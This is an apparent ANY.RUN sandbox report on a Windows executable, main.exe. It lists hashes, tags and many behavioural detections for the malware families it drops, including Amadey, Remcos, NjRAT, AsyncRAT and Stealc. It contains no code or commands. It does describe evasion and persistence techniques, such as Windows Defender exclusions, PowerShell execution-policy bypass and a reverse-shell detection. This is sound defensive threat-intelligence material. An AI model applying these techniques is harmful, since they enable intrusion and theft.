File name:

main.exe

Full analysis: https://app.any.run/tasks/1254843f-b017-4063-9462-e38ff63b180f
Verdict: Malicious activity
Threats:

Amadey is a formidable Windows infostealer threat, characterized by its persistence mechanisms, modular design, and ability to execute various malicious tasks.

Malware Trends Tracker     >>>
Analysis date: July 04, 2025, 15:44:50
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
loader
python
github
phishing
clickfix
possible-phishing
meterpreter
backdoor
payload
metasploit
miner
stealc
stealer
remcos
rat
amadey
botnet
scan
auto
generic
coinminer
asyncrat
formbook
azorult
nanocore
gh0st
remote
njrat
bruteratel
rhadamanthys
purelogs
purecrypter
bladabindi
quasarrat
discord
quasar
pyinstaller
delphi
bazaloader
stealerium
redline
anydesk
rmm-tool
xworm
stormkitty
whitesnakestealer
babadeda
havoc
evasion
dcrat
pythonstealer
Indicators:
MIME: application/vnd.microsoft.portable-executable
File info: PE32+ executable (console) x86-64, for MS Windows, 7 sections
MD5:

C942A56638772644D847709D906FA23D

SHA1:

12D6B77FEC2244CDC4050A083AA741185CC48010

SHA256:

56A28391D309102557FCF9BC34351A50B49054282F2007851DCBC4E825E7C37A

SSDEEP:

98304:R/0Cg6brcfRkzKVfq7AnYRO4Y6ZhkDQet54netUjZUj0vNQLFZfQpyJoic3yjHFD:ivfkEwE1MUQ881mw02/ki+BIsG

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Uses Task Scheduler to autorun other applications

      • cmd.exe (PID: 2072)
      • Java32.exe (PID: 18404)
      • quasarat.exe (PID: 16264)

    • PHISHING has been detected (SURICATA)

      • svchost.exe (PID: 2200)

    • CLICKFIX has been detected (SURICATA)

      • svchost.exe (PID: 2200)
      • main.exe (PID: 2780)

    • GENERIC has been found (auto)

      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • main.exe (PID: 2780)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 10008)
      • powershell.exe (PID: 10208)
      • powershell.exe (PID: 10268)
      • powershell.exe (PID: 10344)
      • powershell.exe (PID: 11548)
      • powershell.exe (PID: 13036)
      • powershell.exe (PID: 13928)
      • powershell.exe (PID: 13460)
      • powershell.exe (PID: 13516)
      • powershell.exe (PID: 11752)
      • powershell.exe (PID: 14340)
      • powershell.exe (PID: 14432)
      • powershell.exe (PID: 14768)
      • powershell.exe (PID: 16104)
      • powershell.exe (PID: 16356)
      • powershell.exe (PID: 16348)
      • powershell.exe (PID: 14224)
      • powershell.exe (PID: 15092)
      • powershell.exe (PID: 18232)
      • powershell.exe (PID: 2704)
      • powershell.exe (PID: 16736)

    • Changes powershell execution policy (Bypass)

      • main.exe (PID: 2780)
      • powershell.exe (PID: 11548)

    • COINMINER has been found (auto)

      • main.exe (PID: 2780)
      • main.exe (PID: 2780)

    • ASYNCRAT has been found (auto)

      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • imagelogger.exe (PID: 13524)

    • GH0ST has been found (auto)

      • main.exe (PID: 2780)

    • METERPRETER has been found (auto)

      • main.exe (PID: 2780)
      • main.exe (PID: 2780)

    • METERPRETER has been detected (SURICATA)

      • main.exe (PID: 2780)

    • METASPLOIT has been detected (SURICATA)

      • main.exe (PID: 2780)

    • STEALC mutex has been found

      • vtoroy.exe (PID: 13012)
      • perviy.exe (PID: 13944)
      • tretiy.exe (PID: 14472)

    • STEALC has been detected

      • vtoroy.exe (PID: 13012)
      • perviy.exe (PID: 13944)
      • tretiy.exe (PID: 14472)

    • REMCOS mutex has been found

      • evetbeta.exe (PID: 12092)
      • prueba.exe (PID: 16280)
      • NOTallowedtocrypt.exe (PID: 20028)

    • REMCOS has been detected

      • evetbeta.exe (PID: 12092)
      • prueba.exe (PID: 16280)

    • Application was injected by another process

      • explorer.exe (PID: 4772)

    • Runs injected code in another process

      • JcQiZ5o.exe (PID: 7608)

    • METASPLOIT has been found (auto)

      • main.exe (PID: 2780)

    • Changes the autorun value in the registry

      • Nan_Brout_ncrypt.exe (PID: 12364)
      • webhook.exe (PID: 16332)
      • Bloxflip%20Predictor.exe (PID: 14232)
      • Axam.a.exe (PID: 13948)
      • conhost.exe (PID: 17760)
      • rundll32.exe (PID: 14668)
      • NOTallowedtocrypt.exe (PID: 20028)
      • server.exe (PID: 17200)
      • SteamDetector.exe (PID: 19372)
      • Axam.exe (PID: 19248)
      • Axam.exe (PID: 20064)
      • server.exe (PID: 1324)
      • Axam.exe (PID: 20072)
      • quasarat.exe (PID: 16264)
      • Axam.exe (PID: 20016)

    • AMADEY mutex has been found

      • random.exe (PID: 13888)
      • suker.exe (PID: 15496)

    • NANOCORE has been found (auto)

      • Nan_Brout_ncrypt.exe (PID: 12364)
      • main.exe (PID: 2780)

    • Create files in the Startup directory

      • Bloxflip%20Predictor.exe (PID: 14232)
      • Axam.a.exe (PID: 13948)
      • conhost.exe (PID: 17760)
      • imagelogger.exe (PID: 13524)
      • SteamDetector.exe (PID: 19372)
      • server.exe (PID: 1324)

    • RHADAMANTHYS has been found (auto)

      • main.exe (PID: 2780)

    • AMADEY has been detected (SURICATA)

      • nudwee.exe (PID: 10284)
      • suker.exe (PID: 15496)

    • NJRAT has been found (auto)

      • main.exe (PID: 2780)
      • njrat.exe (PID: 14464)
      • Bloxflip%20Predictor.exe (PID: 14232)
      • Server.exe (PID: 14616)
      • rundll32.exe (PID: 14668)
      • server.exe (PID: 1324)

    • QUASAR has been found (auto)

      • main.exe (PID: 2780)
      • main.exe (PID: 2780)
      • main.exe (PID: 2780)

    • REMCOS has been detected (SURICATA)

      • evetbeta.exe (PID: 12092)
      • Host.exe (PID: 15104)

    • Connects to the CnC server

      • evetbeta.exe (PID: 12092)
      • nudwee.exe (PID: 10284)
      • main.exe (PID: 2780)
      • 1UCzP6D.exe (PID: 12612)
      • suker.exe (PID: 15496)
      • Server1.exe (PID: 13864)

    • AZORULT mutex has been detected

      • onetap.exe (PID: 14952)

    • Attempting to scan the network

      • award.pdf.exe (PID: 4884)

    • ASYNCRAT has been detected (MUTEX)

      • AsyncClient.exe (PID: 10548)
      • ddosziller.exe (PID: 10528)
      • Krishna33.exe (PID: 14424)
      • aaa%20(3).exe (PID: 16312)
      • freffercerere.exe (PID: 17732)
      • aaa%20(3).exe (PID: 13356)

    • BAZALOADER has been found (auto)

      • main.exe (PID: 2780)

    • Executing a file with an untrusted certificate

      • witheFile.exe (PID: 16552)

    • NJRAT mutex has been found

      • Bloxflip%20Predictor.exe (PID: 14232)
      • Fast%20Download.exe (PID: 13904)
      • Bloxflip%20Predictor.exe (PID: 14124)
      • Bloxflip Predictor.exe (PID: 17688)

    • STEALER has been found (auto)

      • main.exe (PID: 2780)
      • main.exe (PID: 2780)

    • PURELOGS has been detected (SURICATA)

      • 1UCzP6D.exe (PID: 12612)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 17968)
      • powershell.exe (PID: 2704)
      • powershell.exe (PID: 20180)

    • PURELOGS has been found (auto)

      • main.exe (PID: 2780)

    • RAT has been found (auto)

      • SteamDetector.exe (PID: 16240)
      • SteamDetector.exe (PID: 19372)

    • QUASARRAT has been found (auto)

      • main.exe (PID: 2780)
      • Java32.exe (PID: 18404)

    • Changes Windows Defender settings

      • Vikings.exe (PID: 13492)

    • Adds path to the Windows Defender exclusion list

      • Vikings.exe (PID: 13492)
      • NJRAT%20DANGEROUS.exe (PID: 9796)
      • svchost.exe (PID: 13912)
      • XClient.exe (PID: 11788)

    • HAVOC has been found (auto)

      • main.exe (PID: 2780)

    • DCRAT has been found (auto)

      • main.exe (PID: 2780)
      • main.exe (PID: 2780)

    • NjRAT is detected

      • conhost.exe (PID: 17760)
      • rundll32.exe (PID: 14668)
      • server.exe (PID: 17200)
      • SteamDetector.exe (PID: 19372)
      • server.exe (PID: 1324)

    • Downloads the requested resource (POWERSHELL)

      • powershell.exe (PID: 10208)

    • XWORM has been detected (SURICATA)

      • System32.exe (PID: 12520)
      • RegAsm.exe (PID: 9044)

    • NJRAT has been detected (SURICATA)

      • Server1.exe (PID: 13864)

    • FORMBOOK has been found (auto)

      • main.exe (PID: 2780)

    • PYTHONSTEALER has been found (auto)

      • main.exe (PID: 2780)

    • REMCOS has been found (auto)

      • main.exe (PID: 2780)

    • Uses AES cipher (POWERSHELL)

      • powershell.exe (PID: 13036)

    • QUASAR mutex has been found

      • quasarat.exe (PID: 16264)

    • Request from PowerShell which ran from CMD.EXE

      • powershell.exe (PID: 10080)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • main.exe (PID: 3924)
      • main.exe (PID: 2780)
      • QpKuKKY.exe (PID: 9300)
      • Nan_Brout_ncrypt.exe (PID: 12364)
      • random.exe (PID: 13888)
      • %D0%A4%D0%BE%D1%80%D0%BC%D0%B0%203%D0%9E%D0%A8%D0%91%D0%A0.exe (PID: 12592)
      • 444.exe (PID: 14108)
      • Server.exe (PID: 14616)
      • njrat.exe (PID: 14464)
      • Bloxflip%20Predictor.exe (PID: 14232)
      • SteamDetector.exe (PID: 16240)
      • Axam.a.exe (PID: 13948)
      • conhost.exe (PID: 17760)
      • new.exe (PID: 4192)
      • suker.exe (PID: 15496)
      • rundll32.exe (PID: 14668)
      • Java32.exe (PID: 18404)
      • imagelogger.exe (PID: 13524)
      • NOTallowedtocrypt.exe (PID: 20028)
      • SteamDetector.exe (PID: 19372)
      • powershell.exe (PID: 13036)
      • server.exe (PID: 1324)

    • Process drops python dynamic module

      • main.exe (PID: 3924)

    • The process drops C-runtime libraries

      • main.exe (PID: 3924)

    • Process drops legitimate windows executable

      • main.exe (PID: 3924)
      • main.exe (PID: 2780)

    • Application launched itself

      • main.exe (PID: 3924)
      • cmd.exe (PID: 10256)
      • powershell.exe (PID: 11548)

    • Loads Python modules

      • main.exe (PID: 2780)

    • Starts CMD.EXE for commands execution

      • main.exe (PID: 2780)
      • av_downloader.exe (PID: 13936)
      • av_downloader1.1.exe (PID: 13968)
      • pclient.exe (PID: 5184)
      • webhook.exe (PID: 16332)
      • pornhub_downloader.exe (PID: 14644)
      • pornhub_downloader.exe (PID: 14972)
      • pornhub_downloader.exe (PID: 14936)
      • cmd.exe (PID: 10256)
      • NOTallowedtocrypt.exe (PID: 20028)

    • The process checks if it is being run in the virtual environment

      • main.exe (PID: 2780)
      • OpenWith.exe (PID: 15140)

    • Process requests binary or script from the Internet

      • main.exe (PID: 2780)
      • suker.exe (PID: 15496)
      • powershell.exe (PID: 10080)

    • Connects to unusual port

      • main.exe (PID: 2780)
      • tmp.exe (PID: 10620)
      • sup.exe (PID: 12668)
      • elf.exe (PID: 11044)
      • sys.exe (PID: 11768)
      • Worldofficee.exe (PID: 14928)
      • Worldoffice.exe (PID: 14360)
      • evetbeta.exe (PID: 12092)
      • connector1.exe (PID: 15428)
      • Host.exe (PID: 15104)
      • RegAsm.exe (PID: 9044)
      • 1223.exe (PID: 15404)
      • System32.exe (PID: 12520)
      • 1UCzP6D.exe (PID: 12612)
      • https.exe (PID: 16288)
      • Server1.exe (PID: 13864)
      • conhost.exe (PID: 17760)
      • rundll32.exe (PID: 14668)
      • freffercerere.exe (PID: 17732)
      • powershell.exe (PID: 13460)
      • powershell.exe (PID: 10344)
      • imagelogger.exe (PID: 13524)

    • Block-list domains

      • main.exe (PID: 2780)

    • Executing commands from a ".bat" file

      • main.exe (PID: 2780)
      • av_downloader.exe (PID: 13936)
      • av_downloader1.1.exe (PID: 13968)
      • webhook.exe (PID: 16332)
      • pornhub_downloader.exe (PID: 14936)
      • pornhub_downloader.exe (PID: 14972)
      • pornhub_downloader.exe (PID: 14644)
      • cmd.exe (PID: 10256)

    • Starts POWERSHELL.EXE for commands execution

      • main.exe (PID: 2780)
      • cmd.exe (PID: 9884)
      • cmd.exe (PID: 13468)
      • Vikings.exe (PID: 13492)
      • powershell.exe (PID: 11548)
      • cmd.exe (PID: 14400)
      • cmd.exe (PID: 12296)
      • cmd.exe (PID: 16224)
      • cmd.exe (PID: 14628)

    • The process executes Powershell scripts

      • main.exe (PID: 2780)
      • cmd.exe (PID: 9884)
      • cmd.exe (PID: 14400)

    • Connects to the server without a host name

      • main.exe (PID: 2780)
      • nudwee.exe (PID: 10284)
      • suker.exe (PID: 15496)
      • powershell.exe (PID: 10208)
      • powershell.exe (PID: 10080)

    • Found IP address in command line

      • powershell.exe (PID: 10080)
      • powershell.exe (PID: 17968)
      • powershell.exe (PID: 2704)
      • powershell.exe (PID: 19280)

    • Downloads file from URI via Powershell

      • powershell.exe (PID: 10080)
      • powershell.exe (PID: 19280)
      • powershell.exe (PID: 20180)

    • Reads security settings of Internet Explorer

      • QpKuKKY.exe (PID: 9300)
      • nudwee.exe (PID: 10284)
      • av_downloader1.1.exe (PID: 13968)
      • random.exe (PID: 13888)
      • pornhub_downloader.exe (PID: 14644)
      • pornhub_downloader.exe (PID: 14936)
      • onetap.exe (PID: 14952)
      • pornhub_downloader.exe (PID: 14972)
      • nfe.sfx.exe (PID: 16340)
      • %D0%A4%D0%BE%D1%80%D0%BC%D0%B0%203%D0%9E%D0%A8%D0%91%D0%A0.exe (PID: 12592)
      • suker.exe (PID: 15496)
      • Host.exe (PID: 15104)
      • PCclear_Eng_mini.exe (PID: 14516)
      • Bloxflip%20Predictor.exe (PID: 14232)
      • 444.exe (PID: 14108)
      • njrat.exe (PID: 14464)
      • Server.exe (PID: 14616)
      • nfe.sfx.exe (PID: 6004)
      • SteamDetector.exe (PID: 16240)
      • new.exe (PID: 4192)
      • svchost.exe (PID: 13912)
      • NJRAT%20DANGEROUS.exe (PID: 9796)
      • XClient.exe (PID: 11788)
      • justpoc.exe (PID: 20340)
      • NOTallowedtocrypt.exe (PID: 20028)

    • Starts itself from another location

      • QpKuKKY.exe (PID: 9300)
      • random.exe (PID: 13888)
      • %D0%A4%D0%BE%D1%80%D0%BC%D0%B0%203%D0%9E%D0%A8%D0%91%D0%A0.exe (PID: 12592)
      • Bloxflip%20Predictor.exe (PID: 14232)
      • 444.exe (PID: 14108)
      • Server.exe (PID: 14616)
      • njrat.exe (PID: 14464)
      • SteamDetector.exe (PID: 16240)

    • Potential Corporate Privacy Violation

      • main.exe (PID: 2780)
      • award.pdf.exe (PID: 4884)
      • suker.exe (PID: 15496)

    • The process creates files with name similar to system file names

      • main.exe (PID: 2780)
      • Nan_Brout_ncrypt.exe (PID: 12364)
      • 444.exe (PID: 14108)
      • njrat.exe (PID: 14464)
      • rundll32.exe (PID: 14668)
      • SteamDetector.exe (PID: 19372)

    • Crypto Currency Mining Activity Detected

      • main.exe (PID: 2780)

    • Windows Defender mutex has been found

      • vtoroy.exe (PID: 13012)
      • perviy.exe (PID: 13944)
      • tretiy.exe (PID: 14472)

    • Executing commands from ".cmd" file

      • main.exe (PID: 2780)

    • Contacting a server suspected of hosting an CnC

      • nudwee.exe (PID: 10284)
      • evetbeta.exe (PID: 12092)
      • Host.exe (PID: 15104)
      • main.exe (PID: 2780)
      • suker.exe (PID: 15496)
      • System32.exe (PID: 12520)
      • Server1.exe (PID: 13864)
      • RegAsm.exe (PID: 9044)

    • Uses NETSH.EXE to add a firewall rule or allowed programs

      • Server1.exe (PID: 13864)
      • conhost.exe (PID: 17760)
      • rundll32.exe (PID: 14668)
      • server.exe (PID: 17200)
      • SteamDetector.exe (PID: 19372)
      • SearchUII.exe (PID: 14316)
      • server.exe (PID: 1324)

    • Starts a Microsoft application from unusual location

      • webhook.exe (PID: 16332)
      • freffercerere.exe (PID: 17732)

    • Creates file in the systems drive root

      • explorer.exe (PID: 4772)
      • Axam.a.exe (PID: 13948)
      • conhost.exe (PID: 17760)
      • rundll32.exe (PID: 14668)
      • SteamDetector.exe (PID: 19372)
      • Axam.exe (PID: 19248)
      • Axam.exe (PID: 20064)
      • Axam.exe (PID: 20072)
      • Axam.exe (PID: 20016)

    • Reads Microsoft Outlook installation path

      • nfe.sfx.exe (PID: 16340)
      • nfe.sfx.exe (PID: 6004)

    • Reads Internet Explorer settings

      • nfe.sfx.exe (PID: 16340)
      • nfe.sfx.exe (PID: 6004)

    • Uses ATTRIB.EXE to modify file attributes

      • Bloxflip%20Predictor.exe (PID: 14232)

    • Probably download files using WebClient

      • cmd.exe (PID: 13468)

    • Script adds exclusion path to Windows Defender

      • Vikings.exe (PID: 13492)

    • Executes application which crashes

      • Te.exe (PID: 17012)

    • ANYDESK has been found

      • main.exe (PID: 2780)

    • Executes script without checking the security policy

      • powershell.exe (PID: 2704)

    • The process hide an interactive prompt from the user

      • powershell.exe (PID: 11548)

    • Possibly malicious use of IEX has been detected

      • powershell.exe (PID: 11548)

    • Potential TCP-based PowerShell reverse shell connection

      • powershell.exe (PID: 11548)

    • The process bypasses the loading of PowerShell profile settings

      • powershell.exe (PID: 11548)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 13036)

    • Starts NET.EXE to display or manage information about active sessions

      • cmd.exe (PID: 16156)
      • net.exe (PID: 19440)

    • Checks for external IP

      • svchost.exe (PID: 2200)
      • imagelogger.exe (PID: 13524)
      • NJRAT%20DANGEROUS.exe (PID: 9796)
      • XClient.exe (PID: 11788)
      • quasarat.exe (PID: 16264)

    • Write to the desktop.ini file (may be used to cloak folders)

      • SWID_reader.exe (PID: 19132)

    • Reads the date of Windows installation

      • new.exe (PID: 4192)
      • svchost.exe (PID: 13912)
      • XClient.exe (PID: 11788)
      • NJRAT%20DANGEROUS.exe (PID: 9796)

    • Uses NETSH.EXE to change the status of the firewall

      • powershell.exe (PID: 10008)

    • Starts process via Powershell

      • powershell.exe (PID: 20180)

    • Gets path to any of the special folders (POWERSHELL)

      • powershell.exe (PID: 14768)

    • Creates new GUID (POWERSHELL)

      • powershell.exe (PID: 14768)

    • Writes data into a file (POWERSHELL)

      • powershell.exe (PID: 13036)

    • CSC.EXE is used to compile C# code

      • csc.exe (PID: 14520)

  • INFO

    • Checks supported languages

      • main.exe (PID: 3924)
      • main.exe (PID: 2780)
      • JcQiZ5o.exe (PID: 7608)
      • RegAsm.exe (PID: 9044)
      • VZXCHH66.exe (PID: 8000)
      • QpKuKKY.exe (PID: 9300)
      • NJRAT%20DANGEROUS.exe (PID: 9796)
      • ddosziller.exe (PID: 10528)
      • AsyncClient.exe (PID: 10548)
      • elf.exe (PID: 11044)
      • shell.exe (PID: 11256)
      • nudwee.exe (PID: 10284)
      • XClient.exe (PID: 11788)
      • sys.exe (PID: 11768)
      • DumpAADUserPRT.exe (PID: 9340)
      • TEST.exe (PID: 12632)
      • VOLATUS0.5.exe (PID: 12648)
      • sup.exe (PID: 12668)
      • vtoroy.exe (PID: 13012)
      • uac_bypass.exe (PID: 12892)
      • Nan_Brout_ncrypt.exe (PID: 12364)
      • evetbeta.exe (PID: 12092)
      • 1UCzP6D.exe (PID: 12612)
      • System32.exe (PID: 12520)
      • %D0%A4%D0%BE%D1%80%D0%BC%D0%B0%203%D0%9E%D0%A8%D0%91%D0%A0.exe (PID: 12592)
      • kg.exe (PID: 11732)
      • imagelogger.exe (PID: 13524)
      • mimilove.exe (PID: 11536)
      • svchost.exe (PID: 13912)
      • pclient.exe (PID: 5184)
      • Doppelganger.exe (PID: 11964)
      • kdmapper_Release.exe (PID: 13476)
      • World%20of%20Tanks.exe (PID: 13484)
      • keygen.exe (PID: 13508)
      • random.exe (PID: 13888)
      • script.exe (PID: 13896)
      • Fast%20Download.exe (PID: 13904)
      • 444.exe (PID: 14108)
      • Bloxflip%20Predictor.exe (PID: 14232)
      • perviy.exe (PID: 13944)
      • SearchUII.exe (PID: 14316)
      • Vikings.exe (PID: 13492)
      • 444.exe (PID: 14100)
      • Bloxflip%20Predictor.exe (PID: 14124)
      • award.pdf.exe (PID: 4884)
      • ExportTableTester.exe (PID: 13920)
      • av_downloader1.1.exe (PID: 13968)
      • Server1.exe (PID: 13864)
      • plantrojan.exe (PID: 14228)
      • pst.exe (PID: 1632)
      • Worldoffice.exe (PID: 14360)
      • av_downloader.exe (PID: 13936)
      • Terminal_9235.exe (PID: 14456)
      • Server.exe (PID: 14636)
      • njrat.exe (PID: 14628)
      • tretiy.exe (PID: 14472)
      • njrat.exe (PID: 14464)
      • njrat.exe (PID: 14480)
      • pornhub_downloader.exe (PID: 14644)
      • Server.exe (PID: 14616)
      • pornhub_downloader.exe (PID: 14936)
      • Krishna33.exe (PID: 14424)
      • Worldofficee.exe (PID: 14928)
      • client.exe (PID: 15112)
      • onetap.exe (PID: 14952)
      • pornhub_downloader.exe (PID: 14972)
      • winbox.exe (PID: 15128)
      • Host.exe (PID: 15104)
      • winbox.exe (PID: 15016)
      • Lab01-02.exe (PID: 14384)
      • connector1.exe (PID: 15428)
      • suker.exe (PID: 15496)
      • process-injection.exe (PID: 14964)
      • self-injection.exe (PID: 14984)
      • https.exe (PID: 16288)
      • SteamDetector.exe (PID: 16240)
      • webhook.exe (PID: 16332)
      • nfe.sfx.exe (PID: 16340)
      • zeropersca.exe (PID: 16364)
      • s.exe (PID: 16248)
      • boleto.exe (PID: 15368)
      • prueba.exe (PID: 16280)
      • quasarat.exe (PID: 16264)
      • aaa%20(3).exe (PID: 16312)
      • ipscan.exe (PID: 16296)
      • Network.exe (PID: 15376)
      • Installer.exe (PID: 14288)
      • Anap.a.exe (PID: 16320)
      • discord.exe (PID: 13896)
      • 1223.exe (PID: 15404)
      • TestExe.exe (PID: 15412)
      • PCclear_Eng_mini.exe (PID: 14516)
      • CrazyCoach.exe (PID: 14536)
      • Axam.a.exe (PID: 13948)
      • Te.exe (PID: 17012)
      • your_app.exe (PID: 17320)
      • donut.exe (PID: 16304)
      • donut.exe (PID: 16232)
      • VB.NET%20CRYPTER%20V2.exe (PID: 16744)
      • hack.exe (PID: 16272)
      • server.exe (PID: 17200)
      • Neverlose%20Loader.exe (PID: 17500)
      • witheFile.exe (PID: 16552)
      • freffercerere.exe (PID: 17732)
      • Bloxflip Predictor.exe (PID: 17688)
      • conhost.exe (PID: 17760)
      • mimikatz.exe (PID: 17616)
      • intro.avi.exe (PID: 12616)
      • aaa%20(3).exe (PID: 13356)
      • server.exe (PID: 1324)
      • nfe.sfx.exe (PID: 6004)
      • rundll32.exe (PID: 14668)
      • Client-built.exe (PID: 10108)
      • new.exe (PID: 4192)
      • Java32.exe (PID: 18404)
      • SWID_reader.exe (PID: 19132)
      • Client-built.exe (PID: 18572)
      • SteamDetector.exe (PID: 19372)
      • srtware.exe (PID: 18508)
      • Axam.exe (PID: 19248)
      • Axam.exe (PID: 20016)
      • NOTallowedtocrypt.exe (PID: 20028)
      • Axam.exe (PID: 20064)
      • Axam.exe (PID: 20072)
      • Axam.exe (PID: 19492)
      • justpoc.exe (PID: 20340)
      • toolwin.exe (PID: 20320)
      • Axam.exe (PID: 20232)

    • Reads the computer name

      • main.exe (PID: 3924)
      • main.exe (PID: 2780)
      • VZXCHH66.exe (PID: 8000)
      • RegAsm.exe (PID: 9044)
      • QpKuKKY.exe (PID: 9300)
      • JcQiZ5o.exe (PID: 7608)
      • nudwee.exe (PID: 10284)
      • ddosziller.exe (PID: 10528)
      • NJRAT%20DANGEROUS.exe (PID: 9796)
      • elf.exe (PID: 11044)
      • AsyncClient.exe (PID: 10548)
      • XClient.exe (PID: 11788)
      • sys.exe (PID: 11768)
      • sup.exe (PID: 12668)
      • TEST.exe (PID: 12632)
      • VOLATUS0.5.exe (PID: 12648)
      • vtoroy.exe (PID: 13012)
      • DumpAADUserPRT.exe (PID: 9340)
      • evetbeta.exe (PID: 12092)
      • System32.exe (PID: 12520)
      • 1UCzP6D.exe (PID: 12612)
      • Doppelganger.exe (PID: 11964)
      • imagelogger.exe (PID: 13524)
      • svchost.exe (PID: 13912)
      • kg.exe (PID: 11732)
      • keygen.exe (PID: 13508)
      • Nan_Brout_ncrypt.exe (PID: 12364)
      • perviy.exe (PID: 13944)
      • Fast%20Download.exe (PID: 13904)
      • random.exe (PID: 13888)
      • Bloxflip%20Predictor.exe (PID: 14232)
      • av_downloader1.1.exe (PID: 13968)
      • Vikings.exe (PID: 13492)
      • Bloxflip%20Predictor.exe (PID: 14124)
      • SearchUII.exe (PID: 14316)
      • ExportTableTester.exe (PID: 13920)
      • Terminal_9235.exe (PID: 14456)
      • Server1.exe (PID: 13864)
      • tretiy.exe (PID: 14472)
      • pst.exe (PID: 1632)
      • Host.exe (PID: 15104)
      • onetap.exe (PID: 14952)
      • Krishna33.exe (PID: 14424)
      • pornhub_downloader.exe (PID: 14644)
      • pornhub_downloader.exe (PID: 14972)
      • Lab01-02.exe (PID: 14384)
      • pornhub_downloader.exe (PID: 14936)
      • client.exe (PID: 15112)
      • winbox.exe (PID: 15016)
      • suker.exe (PID: 15496)
      • winbox.exe (PID: 15128)
      • %D0%A4%D0%BE%D1%80%D0%BC%D0%B0%203%D0%9E%D0%A8%D0%91%D0%A0.exe (PID: 12592)
      • 444.exe (PID: 14100)
      • 444.exe (PID: 14108)
      • self-injection.exe (PID: 14984)
      • njrat.exe (PID: 14628)
      • boleto.exe (PID: 15368)
      • s.exe (PID: 16248)
      • https.exe (PID: 16288)
      • quasarat.exe (PID: 16264)
      • nfe.sfx.exe (PID: 16340)
      • Server.exe (PID: 14636)
      • njrat.exe (PID: 14480)
      • aaa%20(3).exe (PID: 16312)
      • ipscan.exe (PID: 16296)
      • discord.exe (PID: 13896)
      • TestExe.exe (PID: 15412)
      • Network.exe (PID: 15376)
      • Installer.exe (PID: 14288)
      • njrat.exe (PID: 14464)
      • Server.exe (PID: 14616)
      • PCclear_Eng_mini.exe (PID: 14516)
      • VB.NET%20CRYPTER%20V2.exe (PID: 16744)
      • Neverlose%20Loader.exe (PID: 17500)
      • freffercerere.exe (PID: 17732)
      • Anap.a.exe (PID: 16320)
      • Bloxflip Predictor.exe (PID: 17688)
      • SteamDetector.exe (PID: 16240)
      • intro.avi.exe (PID: 12616)
      • Axam.a.exe (PID: 13948)
      • aaa%20(3).exe (PID: 13356)
      • your_app.exe (PID: 17320)
      • nfe.sfx.exe (PID: 6004)
      • new.exe (PID: 4192)
      • Client-built.exe (PID: 10108)
      • conhost.exe (PID: 17760)
      • Java32.exe (PID: 18404)
      • rundll32.exe (PID: 14668)
      • Client-built.exe (PID: 18572)
      • srtware.exe (PID: 18508)
      • SWID_reader.exe (PID: 19132)
      • NOTallowedtocrypt.exe (PID: 20028)
      • SteamDetector.exe (PID: 19372)
      • justpoc.exe (PID: 20340)
      • CrazyCoach.exe (PID: 14536)
      • toolwin.exe (PID: 20320)
      • server.exe (PID: 17200)
      • Axam.exe (PID: 19248)
      • Axam.exe (PID: 20064)
      • Axam.exe (PID: 20072)
      • Axam.exe (PID: 20016)

    • Create files in a temporary directory

      • main.exe (PID: 3924)
      • main.exe (PID: 2780)
      • QpKuKKY.exe (PID: 9300)
      • av_downloader1.1.exe (PID: 13968)
      • av_downloader.exe (PID: 13936)
      • pst.exe (PID: 1632)
      • random.exe (PID: 13888)
      • Server1.exe (PID: 13864)
      • pornhub_downloader.exe (PID: 14644)
      • pornhub_downloader.exe (PID: 14936)
      • pornhub_downloader.exe (PID: 14972)
      • TEST.exe (PID: 12632)
      • %D0%A4%D0%BE%D1%80%D0%BC%D0%B0%203%D0%9E%D0%A8%D0%91%D0%A0.exe (PID: 12592)
      • webhook.exe (PID: 16332)
      • Axam.a.exe (PID: 13948)
      • suker.exe (PID: 15496)
      • imagelogger.exe (PID: 13524)
      • Axam.exe (PID: 19248)
      • Axam.exe (PID: 20016)
      • Axam.exe (PID: 20064)
      • Axam.exe (PID: 20072)
      • Axam.exe (PID: 19492)
      • srtware.exe (PID: 18508)
      • Axam.exe (PID: 20232)
      • quasarat.exe (PID: 16264)

    • The sample compiled with english language support

      • main.exe (PID: 3924)
      • main.exe (PID: 2780)
      • Axam.a.exe (PID: 13948)
      • suker.exe (PID: 15496)

    • Reads security settings of Internet Explorer

      • Taskmgr.exe (PID: 6240)

    • Creates files or folders in the user directory

      • Taskmgr.exe (PID: 6240)
      • Nan_Brout_ncrypt.exe (PID: 12364)
      • Bloxflip%20Predictor.exe (PID: 14232)
      • Server1.exe (PID: 13864)
      • explorer.exe (PID: 4772)
      • 444.exe (PID: 14108)
      • Network.exe (PID: 15376)
      • Host.exe (PID: 15104)
      • SteamDetector.exe (PID: 16240)
      • Axam.a.exe (PID: 13948)
      • suker.exe (PID: 15496)
      • conhost.exe (PID: 17760)
      • new.exe (PID: 4192)
      • Java32.exe (PID: 18404)
      • imagelogger.exe (PID: 13524)
      • NOTallowedtocrypt.exe (PID: 20028)
      • SteamDetector.exe (PID: 19372)
      • server.exe (PID: 1324)

    • Checks proxy server information

      • main.exe (PID: 2780)
      • nudwee.exe (PID: 10284)
      • TEST.exe (PID: 12632)
      • client.exe (PID: 15112)
      • onetap.exe (PID: 14952)
      • https.exe (PID: 16288)
      • Host.exe (PID: 15104)
      • suker.exe (PID: 15496)
      • nfe.sfx.exe (PID: 16340)
      • PCclear_Eng_mini.exe (PID: 14516)
      • powershell.exe (PID: 10208)
      • svchost.exe (PID: 13912)
      • imagelogger.exe (PID: 13524)
      • NJRAT%20DANGEROUS.exe (PID: 9796)
      • XClient.exe (PID: 11788)
